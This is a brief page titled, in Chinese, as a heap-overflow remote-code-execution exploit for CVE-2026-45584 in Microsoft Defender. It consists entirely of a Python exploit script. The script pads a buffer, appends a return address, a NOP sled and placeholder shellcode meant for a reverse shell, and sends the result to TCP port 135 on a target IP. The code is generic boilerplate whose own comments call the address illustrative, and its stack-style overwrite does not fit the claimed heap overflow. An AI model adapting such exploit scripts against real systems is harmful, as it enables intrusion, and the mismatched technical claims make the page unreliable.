CVE-2026-45584 Microsoft Defender 堆溢出致远程代码执行漏洞

import socket import struct # Target configuration TARGET_IP = "192.168.1.10" TARGET_PORT = 135 def generate_payload(): # Buffer fill to reach overflow point # Adjust offset based on specific version analysis junk = b"A" * 1024 # Hypothetical return address to bypass DEP/ASLR or jump to shellcode # This address is illustrative ret_addr = struct.pack("<Q", 0x140001000) # NOP sled for stability nop_sled = b"\x90" * 32 # Placeholder for calc.exe or reverse shell shellcode shellcode = b"\xCC" * 64 payload = junk + ret_addr + nop_sled + shellcode return payload def exploit(): payload = generate_payload() try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) print("[*] Sending malicious payload...") s.send(payload) print("[+] Payload sent successfully.") s.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": exploit()